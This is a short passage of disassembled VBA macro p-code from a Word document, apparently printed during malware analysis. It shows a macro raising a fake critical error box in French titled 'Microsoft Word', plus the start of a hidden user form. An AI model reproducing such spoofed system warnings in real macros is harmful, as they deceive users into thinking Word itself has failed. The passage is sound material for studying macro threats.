' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #133:
' 	Label ErrorVVBC 
' Line #134:
' 	EndSub 
' Macros/VBA/UserForm900 - 7105 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub CommandButton1_Click())
…